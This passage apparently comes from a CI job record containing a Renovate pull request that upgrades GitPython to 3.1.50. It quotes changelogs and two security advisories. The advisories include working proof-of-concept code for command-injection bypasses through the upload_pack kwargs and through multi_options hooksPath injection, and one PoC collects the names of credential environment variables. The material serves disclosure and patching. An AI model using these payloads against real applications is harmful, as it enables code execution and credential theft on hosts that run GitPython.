          in [#&#8203;2131](https://redirect.github.com/gitpython-developers/GitPython/pull/2131)\n\n**Full
          Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.46...3.1.47>\n\n###
          [`v3.1.46`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.46)\n\n[Compare
          Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.45...3.1.46)\n\n####
          What's Changed\n\n- Prepare a new release by [@&#8203;Byron](https://redirect.github.com/Byron)
          in [#&#8203;2063](https://redirect.github.com/gitpython-developers/GitPython/pull/2063)\n-
          Bump actions/checkout from 4 to 5 by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2067](https://redirect.github.com/gitpython-developers/GitPython/pull/2067)\n-
          Bump git/ext/gitdb from `335c0f6` to `39d7dbf` by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2068](https://redirect.github.com/gitpython-developers/GitPython/pull/2068)\n-
          Bump actions/setup-python from 5 to 6 by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2070](https://redirect.github.com/gitpython-developers/GitPython/pull/2070)\n-
          Bump git/ext/gitdb from `39d7dbf` to `f8fdfec` by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2071](https://redirect.github.com/gitpython-developers/GitPython/pull/2071)\n-
          Fix type hint for `SymbolicReference.reference` property by [@&#8203;emmanuel-ferdman](https://redirect.github.com/emmanuel-ferdman)
          in [#&#8203;2074](https://redirect.github.com/gitpython-developers/GitPython/pull/2074)\n-
          feat: Add support for hasconfig git rule. by [@&#8203;bvanelli](https://redirect.github.com/bvanelli)
          in [#&#8203;2075](https://redirect.github.com/gitpython-developers/GitPython/pull/2075)\n-
          Bump github/codeql-action from 3 to 4 by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2076](https://redirect.github.com/gitpython-developers/GitPython/pull/2076)\n-
          Use actual return type in annotation for method submodule\\_update by [@&#8203;extrwi](https://redirect.github.com/extrwi)
          in [#&#8203;2078](https://redirect.github.com/gitpython-developers/GitPython/pull/2078)\n-
          Bump git/ext/gitdb from `f8fdfec` to `65321a2` by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2082](https://redirect.github.com/gitpython-developers/GitPython/pull/2082)\n-
          Preliminary support for index format v3 by [@&#8203;blahgeek](https://redirect.github.com/blahgeek)
          in [#&#8203;2081](https://redirect.github.com/gitpython-developers/GitPython/pull/2081)\n-
          Bump actions/checkout from 5 to 6 by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2084](https://redirect.github.com/gitpython-developers/GitPython/pull/2084)\n-
          Pin `mypy==1.18.2` by [@&#8203;George-Ogden](https://redirect.github.com/George-Ogden)
          in [#&#8203;2087](https://redirect.github.com/gitpython-developers/GitPython/pull/2087)\n-
          Respect `os.Pathlike` by [@&#8203;George-Ogden](https://redirect.github.com/George-Ogden)
          in [#&#8203;2086](https://redirect.github.com/gitpython-developers/GitPython/pull/2086)\n-
          Bump git/ext/gitdb from `65321a2` to `4c63ee6` by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
          in [#&#8203;2093](https://redirect.github.com/gitpython-developers/GitPython/pull/2093)\n-
          Join `Pathlike` Object to Tree by [@&#8203;George-Ogden](https://redirect.github.com/George-Ogden)
          in [#&#8203;2094](https://redirect.github.com/gitpython-developers/GitPython/pull/2094)\n\n####
          New Contributors\n\n- [@&#8203;emmanuel-ferdman](https://redirect.github.com/emmanuel-ferdman)
          made their first contribution in [#&#8203;2074](https://redirect.github.com/gitpython-developers/GitPython/pull/2074)\n-
          [@&#8203;bvanelli](https://redirect.github.com/bvanelli) made their first
          contribution in [#&#8203;2075](https://redirect.github.com/gitpython-developers/GitPython/pull/2075)\n-
          [@&#8203;extrwi](https://redirect.github.com/extrwi) made their first contribution
          in [#&#8203;2078](https://redirect.github.com/gitpython-developers/GitPython/pull/2078)\n-
          [@&#8203;blahgeek](https://redirect.github.com/blahgeek) made their first
          contribution in [#&#8203;2081](https://redirect.github.com/gitpython-developers/GitPython/pull/2081)\n-
          [@&#8203;George-Ogden](https://redirect.github.com/George-Ogden) made their
          first contribution in [#&#8203;2087](https://redirect.github.com/gitpython-developers/GitPython/pull/2087)\n\n**Full
          Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.45...3.1.46>\n\n###
          [`v3.1.45`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.45)\n\n[Compare
          Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.44...3.1.45)\n\n####
          What's Changed\n\n- Fix various version-related CI breakages by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;1987](https://redirect.github.com/gitpython-developers/GitPython/pull/1987)\n-
          Do some CI cleanup to make reports clearer and future changes easier by
          [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan) in [#&#8203;1989](https://redirect.github.com/gitpython-developers/GitPython/pull/1989)\n-
          Affirm that gitdb and smmap advisories can also be created by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;1991](https://redirect.github.com/gitpython-developers/GitPython/pull/1991)\n-
          Fix links to gitdb and smmap `SECURITY.md` files by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;1992](https://redirect.github.com/gitpython-developers/GitPython/pull/1992)\n-
          Test Python 3.13 regularly on Ubuntu and macOS on CI by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;1990](https://redirect.github.com/gitpython-developers/GitPython/pull/1990)\n-
          Repo.rev\\_parse: Handle <tag>^{commit} correctly by [@&#8203;flichtenheld](https://redirect.github.com/flichtenheld)
          in [#&#8203;1996](https://redirect.github.com/gitpython-developers/GitPython/pull/1996)\n-
          Fuzzing: Fix Broken Fuzz Test for Git Submodule Handling by [@&#8203;DaveLak](https://redirect.github.com/DaveLak)
          in [#&#8203;1997](https://redirect.github.com/gitpython-developers/GitPython/pull/1997)\n-
          Work around Cygwin CI failure [#&#8203;2004](https://redirect.github.com/gitpython-developers/GitPython/issues/2004),
          except for `test_installation` by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2007](https://redirect.github.com/gitpython-developers/GitPython/pull/2007)\n-
          Mark `test_installation` xfail on Cygwin CI by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2009](https://redirect.github.com/gitpython-developers/GitPython/pull/2009)\n-
          `IndexFile._to_relative_path` - fix case where absolute path gets stripped
          of trailing slash by [@&#8203;kamilkozik7](https://redirect.github.com/kamilkozik7)
          in [#&#8203;2012](https://redirect.github.com/gitpython-developers/GitPython/pull/2012)\n-
          Use WSL1 on CI by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2010](https://redirect.github.com/gitpython-developers/GitPython/pull/2010)\n-
          Test free-threaded Python (but only on Linux) by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2011](https://redirect.github.com/gitpython-developers/GitPython/pull/2011)\n-
          Use property decorator to support typing by [@&#8203;Andrej730](https://redirect.github.com/Andrej730)
          in [#&#8203;2015](https://redirect.github.com/gitpython-developers/GitPython/pull/2015)\n-
          Fix some incorrect sphinx markups in the docstrings by [@&#8203;koyuki7w](https://redirect.github.com/koyuki7w)
          in [#&#8203;2018](https://redirect.github.com/gitpython-developers/GitPython/pull/2018)\n-
          replace quansight-labs/setup-python with actions/setup-python by [@&#8203;ngoldbaum](https://redirect.github.com/ngoldbaum)
          in [#&#8203;2019](https://redirect.github.com/gitpython-developers/GitPython/pull/2019)\n-
          remove type assertions from util.py by [@&#8203;gcmarx](https://redirect.github.com/gcmarx)
          in [#&#8203;2028](https://redirect.github.com/gitpython-developers/GitPython/pull/2028)\n-
          correctly handle `uname-cmd` that doesn't point to an executable file by
          [@&#8203;gcmarx](https://redirect.github.com/gcmarx) in [#&#8203;2026](https://redirect.github.com/gitpython-developers/GitPython/pull/2026)\n-
          Use newer ruff style by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2031](https://redirect.github.com/gitpython-developers/GitPython/pull/2031)\n-
          Have CodeQL scan GitHub Actions workflows as well as Python code by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2032](https://redirect.github.com/gitpython-developers/GitPython/pull/2032)\n-
          Specify explicit `contents: read` workflow permissions by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2033](https://redirect.github.com/gitpython-developers/GitPython/pull/2033)\n-
          Fix GitConfigParser not removing quotes from values by [@&#8203;betaboon](https://redirect.github.com/betaboon)
          in [#&#8203;2035](https://redirect.github.com/gitpython-developers/GitPython/pull/2035)\n-
          Preserve quoted leading and trailing single-line config var whitespace by
          [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan) in [#&#8203;2036](https://redirect.github.com/gitpython-developers/GitPython/pull/2036)\n-
          Refactor Git.{AutoInterrupt,CatFileContentStream} nesting by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2037](https://redirect.github.com/gitpython-developers/GitPython/pull/2037)\n-
          Fix Git.{AutoInterrupt,CatFileContentStream} static typing by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2039](https://redirect.github.com/gitpython-developers/GitPython/pull/2039)\n-
          Fix CI `mypy` command on free-threaded Python by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2040](https://redirect.github.com/gitpython-developers/GitPython/pull/2040)\n-
          Split Cygwin CI into non-`performance` and `performance` test jobs by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2042](https://redirect.github.com/gitpython-developers/GitPython/pull/2042)\n-
          Express conditional `setuptools` requirement statically by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2043](https://redirect.github.com/gitpython-developers/GitPython/pull/2043)\n-
          Fix ambiguous `_safer_popen_windows` comment by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2044](https://redirect.github.com/gitpython-developers/GitPython/pull/2044)\n-
          Clarify `USE_SHELL` warning helper signature by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2045](https://redirect.github.com/gitpython-developers/GitPython/pull/2045)\n-
          Test `ConfigParser` with whitespace outside the value by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2046](https://redirect.github.com/gitpython-developers/GitPython/pull/2046)\n-
          Remove explicit empty `\"\"` handling in ConfigParser by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2047](https://redirect.github.com/gitpython-developers/GitPython/pull/2047)\n-
          Various style improvements by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2049](https://redirect.github.com/gitpython-developers/GitPython/pull/2049)\n-
          Don't remove quotes if `\\` or `\"` are present inside by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2048](https://redirect.github.com/gitpython-developers/GitPython/pull/2048)\n-
          fix updating submodules with relative urls by [@&#8203;david0](https://redirect.github.com/david0)
          in [#&#8203;2051](https://redirect.github.com/gitpython-developers/GitPython/pull/2051)\n-
          Run `cat_file.py` fixture without site customizations by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2052](https://redirect.github.com/gitpython-developers/GitPython/pull/2052)\n-
          Fix Cygwin installation on CI for `pip` by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
          in [#&#8203;2053](https://redirect.github.com/gitpython-developers/GitPython/pull/2053)\n-
          Fail `test_installation` on warnings, and remove deprecated license classifier
          by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan) in [#&#8203;2054](https://redirect.github.com/gitpython-developers/GitPython/pull/2054)\n-
          Add clearer error version for unsupported index error by [@&#8203;tombedor](https://redirect.github.com/tombedor)
          in [#&#8203;2055](https://redirect.github.com/gitpython-developers/GitPython/pull/2055)\n-
          Fix name collision by [@&#8203;NMertsch](https://redirect.github.com/NMertsch)
          in [#&#8203;2060](https://redirect.github.com/gitpython-developers/GitPython/pull/2060)\n-
          Allow relative path url in submodules for submodule\\_update by [@&#8203;t-webber](https://redirect.github.com/t-webber)
          in [#&#8203;2062](https://redirect.github.com/gitpython-developers/GitPython/pull/2062)\n\n####
          New Contributors\n\n- [@&#8203;flichtenheld](https://redirect.github.com/flichtenheld)
          made their first contribution in [#&#8203;1996](https://redirect.github.com/gitpython-developers/GitPython/pull/1996)\n-
          [@&#8203;kamilkozik7](https://redirect.github.com/kamilkozik7) made their
          first contribution in [#&#8203;2012](https://redirect.github.com/gitpython-developers/GitPython/pull/2012)\n-
          [@&#8203;koyuki7w](https://redirect.github.com/koyuki7w) made their first
          contribution in [#&#8203;2018](https://redirect.github.com/gitpython-developers/GitPython/pull/2018)\n-
          [@&#8203;ngoldbaum](https://redirect.github.com/ngoldbaum) made their first
          contribution in [#&#8203;2019](https://redirect.github.com/gitpython-developers/GitPython/pull/2019)\n-
          [@&#8203;gcmarx](https://redirect.github.com/gcmarx) made their first contribution
          in [#&#8203;2028](https://redirect.github.com/gitpython-developers/GitPython/pull/2028)\n-
          [@&#8203;betaboon](https://redirect.github.com/betaboon) made their first
          contribution in [#&#8203;2035](https://redirect.github.com/gitpython-developers/GitPython/pull/2035)\n-
          [@&#8203;david0](https://redirect.github.com/david0) made their first contribution
          in [#&#8203;2051](https://redirect.github.com/gitpython-developers/GitPython/pull/2051)\n-
          [@&#8203;tombedor](https://redirect.github.com/tombedor) made their first
          contribution in [#&#8203;2055](https://redirect.github.com/gitpython-developers/GitPython/pull/2055)\n-
          [@&#8203;NMertsch](https://redirect.github.com/NMertsch) made their first
          contribution in [#&#8203;2060](https://redirect.github.com/gitpython-developers/GitPython/pull/2060)\n-
          [@&#8203;t-webber](https://redirect.github.com/t-webber) made their first
          contribution in [#&#8203;2062](https://redirect.github.com/gitpython-developers/GitPython/pull/2062)\n\n**Full
          Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.44...3.1.45>\n\n</details>\n\n---\n\n###
          Configuration\n\n\U0001F4C5 **Schedule**: (UTC)\n\n- Branch creation\n  -
          \"\"\n- Automerge\n  - At any time (no schedule defined)\n\n\U0001F6A6 **Automerge**:
          Disabled by config. Please merge this manually once you are satisfied.\n\n\u267B
          **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry
          checkbox.\n\n\U0001F515 **Ignore**: Close this PR and you won't be reminded
          about this update again.\n\n---\n\n - [ ] <!-- rebase-check -->If you want
          to rebase/retry this PR, check this box\n\n---\n\nThis PR was generated
          by [Mend Renovate](https://mend.io/renovate/). View the [repository job
          log](https://developer.mend.io/github/osism/pulpfiction).\n<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xNTkuMiIsInVwZGF0ZWRJblZlciI6IjQzLjE1OS4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJyZW5vdmF0ZSJdfQ==-->\n"
        change_url: https://github.com/osism/pulpfiction/pull/10
        commit_id: 00bd2631863b4576cf59cca91d0fbbe0b261efb2
        patchset: 00bd2631863b4576cf59cca91d0fbbe0b261efb2
        project:
          canonical_hostname: github.com
          canonical_name: github.com/osism/pulpfiction
          name: osism/pulpfiction
          short_name: pulpfiction
        src_dir: src/github.com/osism/pulpfiction
        topic: null
      change: '10'
      change_message: "chore(deps): update dependency gitpython to v3.1.50 [security]\n\nThis
        PR contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
        | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
        [GitPython](https://redirect.github.com/gitpython-developers/GitPython) |
        `==3.1.44` \u2192 `==3.1.50` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/gitpython/3.1.50?slim=true)
        | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/gitpython/3.1.44/3.1.50?slim=true)
        |\n\n---\n\n### GitPython has Command Injection via Git options bypass\n[CVE-2026-42215](https://nvd.nist.gov/vuln/detail/CVE-2026-42215)
        / [GHSA-rpm5-65cw-6hj4](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\n##### Summary\nGitPython blocks dangerous
        Git options such as `--upload-pack` and `--receive-pack` by default, but the
        equivalent Python kwargs `upload_pack` and `receive_pack` bypass that check.
        If an application passes attacker-controlled kwargs into `Repo.clone_from()`,
        `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary
        command execution even when `allow_unsafe_options` is left at its default
        value of `False`.\n\n##### Details\nGitPython explicitly treats helper-command
        options as unsafe because they can be used to execute arbitrary commands:\n\n-
        `git/repo/base.py:145-153` marks clone options such as `--upload-pack`, `-u`,
        `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push
        options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe
        vulnerable API paths check the raw kwarg names before they're its normalized
        into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())`
        in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())`
        in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())`
        in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())`
        in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()`
        in `git/cmd.py:948-961`. The validator correctly blocks option names such
        as `upload-pack`, `receive-pack`, and `exec`.\n\nLater, GitPython converts
        Python kwargs into Git command-line flags in `Git.transform_kwarg()` at `git/cmd.py:1471-1484`.
        During that step, underscore-form kwargs are dashified:\n\n- `upload_pack=...`
        becomes `--upload-pack=...`\n- `receive_pack=...` becomes `--receive-pack=...`\n\nBecause
        the unsafe-option check runs before this normalization, underscore-form kwargs
        bypass the safety check even though they become the exact dangerous Git flags
        that the code is supposed to reject.\n\nIn practice:\n\n- `remote.fetch(**{\"upload-pack\":
        helper})` is blocked with `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)`
        is allowed and reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin,
        out, upload_pack=helper)\nrepo.remote(\"origin\").fetch(upload_pack=helper)\nrepo.remote(\"origin\").pull(upload_pack=helper)\nrepo.remote(\"origin\").push(receive_pack=helper)\n```\n\nThis
        does not appear to affect every unsafe option. For example, `exec=` is already
        rejected because the raw kwarg name `exec` matches the blocked option name
        before normalization.\n\nExisting tests cover the hyphenated form, not the
        vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136`
        checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:830-833` checks `{\"upload-pack\":
        ...}`\n- `test/test_remote.py:968-975` checks `{\"receive-pack\": ...}`\n\nThose
        tests correctly confirm the literal Git option names are blocked, but they
        do not exercise the normal Python kwarg spelling that bypasses the guard.\n\n#####
        PoC\n1. Create and activate a virtual environment in the repository root:\n\n```bash\npython3
        -m venv .venv-sec\n.venv-sec/bin/pip install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2.
        make a new python file and put the following in there, then run it:\n\n```python\nimport
        os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom
        git.exc import UnsafeOptionError\n\n##### Setup: create isolated repositories
        so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix=\"gp-poc-risk-\")\norigin
        = os.path.join(base, \"origin.git\")\nproducer = os.path.join(base, \"producer\")\nvictim
        = os.path.join(base, \"victim\")\nproof = os.path.join(base, \"proof.txt\")\nwrapper
        = os.path.join(base, \"wrapper.sh\")\n\n##### Setup: this wrapper is just
        to demo things you can do, not required for the exploit to work\n\n##### you
        could also do something like an SSH reverse shell, really anything\nwith open(wrapper,
        \"w\") as f:\n    f.write(f\"\"\"#!/bin/sh\n{{\n  echo \"code_exec=1\"\n  echo
        \"whoami=$(id)\"\n  echo \"cwd=$(pwd)\"\n  echo \"uname=$(uname -a)\"\n  printf
        'argv='; printf '<%s>' \"$@&#8203;\"; echo\n  env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)='
        | sed 's/=.*$/=<redacted>/' || true\n}} > '{proof}'\nexec git-upload-pack
        \"$@&#8203;\"\n\"\"\")\nos.chmod(wrapper, stat.S_IRWXU)\n\nsubprocess.run([\"git\",
        \"init\", \"--bare\", origin], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run([\"git\",
        \"clone\", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nwith
        open(os.path.join(producer, \"README\"), \"w\") as f:\n    f.write(\"x\")\n\nsubprocess.run([\"git\",
        \"-C\", producer, \"add\", \"README\"], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run(\n
        \   [\"git\", \"-C\", producer, \"-c\", \"user.name=t\", \"-c\", \"user.email=t@t\",
        \"commit\", \"-m\", \"init\"],\n    check=True,\n    stdout=subprocess.DEVNULL,\n)\nsubprocess.run([\"git\",
        \"-C\", producer, \"push\", \"origin\", \"HEAD\"], check=True, stdout=subprocess.DEVNULL,
        stderr=subprocess.DEVNULL)\nsubprocess.run([\"git\", \"clone\", origin, victim],
        check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nrepo
        = Repo(victim)\nremote = repo.remote(\"origin\")\n\n##### the literal Git
        option name is properly blocked.\ntry:\n    remote.fetch(**{\"upload-pack\":
        wrapper})\n    print(\"control=unexpected_success\")\nexcept UnsafeOptionError:\n
        \   print(\"control=blocked\")\n\n##### this is the actual vulnerability\n\n#####
        you can also just do upload_pack=\"touch /tmp/proof\", the wrapper is just
        to show greater impact\n##### if you do the \"touch /tmp/proof\" the script
        will crash, but the file will have been created\nremote.fetch(upload_pack=wrapper)\n\n#####
        Proof: the helper ran as the GitPython host process.\nprint(\"proof_exists\",
        os.path.exists(proof), proof)\nprint(open(proof).read())\n```\n\n3. Expected
        result:\n\n- The script prints `control=blocked`\n- The script prints `proof_exists
        True ...`\n- The proof file contains evidence that the attacker-controlled
        helper executed as the local application account, including `id`, working
        directory, argv, and selected environment variable names\n\nExample output:\n\n```bash\nGitPython
        % python3 test.py\ncontrol=blocked\nproof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt\ncode_exec=1\nwhoami=uid=501(wes)
        gid=20(staff) <redacted>\ncwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim\nuname=Darwin
        \ <redacted> Darwin Kernel Version  <redacted>; root:xnu-11417. <redacted>\nargv=</var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git>\nUSER=<redacted>\nSSH_AUTH_SOCK=<redacted>\nPATH=<redacted>\nHOME=<redacted>\n```\n\nThis
        PoC does not require a malicious repository. The PoC uses that fresh blank
        repository. The only attacker-controlled input is the kwarg that GitPython
        turns into `--upload-pack`.\n\n##### Impact\nWho is impacted:\n- Web applications
        that let users configure repository import, sync, mirroring, fetch, pull,
        or push behavior\n- Systems that accept a user-provided dict of \"extra Git
        options\" and pass it into GitPython with `**kwargs`\n- CI/CD systems, workers,
        automation bots, or internal tools that build GitPython calls from untrusted
        integration settings or job definitions (yaml, json, etc configs )\n\nWhat
        the attacker needs to control:\n\n- A value that becomes `upload_pack` or
        `receive_pack` in the kwargs passed to `Repo.clone_from()`, `Remote.fetch()`,
        `Remote.pull()`, or `Remote.push()`\n\nFrom a severity perspective, this could
        lead to\n- Theft of SSH keys, deploy credentials, API tokens, or cloud credentials
        available to the process\n- Modification of repositories, build outputs, or
        release artifacts\n- Lateral movement from CI/CD workers or automation hosts\n-
        Full compromise of the worker or service process handling repository operations\n\nThe
        highest-risk environments are network-reachable services and automation systems
        that expose these GitPython kwargs across a trust boundary while relying on
        the default unsafe-option guard for protection.\n\n#### Severity\n- CVSS Score:
        8.8 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n####
        References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4)\n-
        [https://nvd.nist.gov/vuln/detail/CVE-2026-42215](https://nvd.nist.gov/vuln/detail/CVE-2026-42215)\n-
        [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.47)\n-
        [https://github.com/advisories/GHSA-rpm5-65cw-6hj4](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)\n\nThis
        data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        GitPython: Unsafe option check validates multi_options before shlex.split
        transformation\n[CVE-2026-42284](https://nvd.nist.gov/vuln/detail/CVE-2026-42284)
        / [GHSA-x2qx-6953-8485](https://redirect.github.com/advisories/GHSA-x2qx-6953-8485)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\n##### Summary\n\n`_clone()` validates
        `multi_options` as the original list, then executes `shlex.split(\" \".join(multi_options))`.
        A string like `\"--branch main --config core.hooksPath=/x\"` passes validation
        (starts with `--branch`), but after split becomes `[\"--branch\", \"main\",
        \"--config\", \"core.hooksPath=/x\"]`. Git applies the config and executes
        attacker hooks during clone.\n\n##### Details\n\nThe vulnerable code is in
        [`git/repo/base.py` line 1383](https://redirect.github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383):\n```python\nmulti
        = shlex.split(\" \".join(multi_options))\n```\n\nThen validation runs on the
        **original** list at [line 1390](https://redirect.github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390):\n```python\nGit.check_unsafe_options(options=multi_options,
        unsafe_options=cls.unsafe_git_clone_options)\n```\n\nThen execution uses the
        **transformed** result at [line 1392](https://redirect.github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392):\n```python\nproc
        = git.clone(multi, \"--\", url, path, ...)\n```\n\nThe [check at `git/cmd.py`
        line 959](https://redirect.github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959)
        uses `startswith`:\n```python\nif option.startswith(unsafe_option) or option
        == bare_option:\n```\n\n`\"--branch main --config ...\"` does not start with
        `\"--config\"`, so it passes. After `shlex.split`, `\"--config\"` becomes
        its own token and reaches git.\n\nAlso affects `Submodule.update()` via `clone_multi_options`.\n\n#####
        PoC\n\n```python\nimport sys, pathlib, subprocess\nsys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))\n\nfrom
        git import Repo\nfrom git.exc import UnsafeOptionError\n\ntry:\n    Repo.clone_from(\"/nonexistent\",
        \"/tmp/x\", multi_options=[\"--config\", \"core.hooksPath=/x\"])\nexcept UnsafeOptionError:\n
        \   print(\"multi_options=['--config', '...']: Block as expected\")\nexcept
        Exception:\n    pass\n\nDIR = pathlib.Path(__file__).resolve().parent / \"workdir_b\"\nSRC
        = DIR / \"repo\"\nDST = DIR / \"dst\"\nHOOKS = DIR / \"hooks\"\nLOG = DIR
        / \"output.log\"\n\nif not SRC.exists():\n    SRC.mkdir(parents=True)\n    r
        = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)\n    r(\"git\",
        \"init\", \"-b\", \"main\")\n    (SRC / \"f\").write_text(\"x\\n\")\n    r(\"git\",
        \"add\", \".\")\n    r(\"git\", \"commit\", \"-m\", \"init\")\n\nHOOKS.mkdir(exist_ok=True)\nhook
        = HOOKS / \"post-checkout\"\nhook.write_text(f\"#!/bin/sh\\nwhoami > {LOG.as_posix()}\\nhostname
        >> {LOG.as_posix()}\\n\")\nhook.chmod(0o755)\n\nLOG.unlink(missing_ok=True)\npayload
        = \"--branch main --config core.hooksPath=\" + HOOKS.as_posix()\n\ntry:\n
        \   Repo.clone_from(str(SRC), str(DST), multi_options=[payload])\nexcept UnsafeOptionError:\n
        \   print(f\"multi_options=['{payload}']: BLOCKED\"); sys.exit(1)\nexcept
        Exception:\n    pass\n\nif not LOG.exists() and DST.exists():\n    subprocess.run([\"git\",
        \"checkout\", \"--force\", \"main\"], cwd=DST, capture_output=True)\n\nprint(f\"multi_options=['{payload}']:
        not blocked\")\nprint(f\"\\nHook executed: {LOG.exists()}\")\nif LOG.exists():\n
        \   print(LOG.read_text().strip())\n```\n\n**Output:**\n```\nmulti_options=['--config',
        '...']: Block as expected\nmulti_options=['--branch main --config core.hooksPath=.../hooks']:
        not blocked\n\nHook executed: True\ntexugo\nDESKTOP-5w5HH79\n```\n\n#####
        Impact\n\nAny application passing user input to `multi_options` in `clone_from()`,
        `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config
        core.hooksPath=<dir>` inside a string starting with a safe option. Check does
        not block it. Git executes attacker code. Same class as CVE-2023-40267.\n\n####
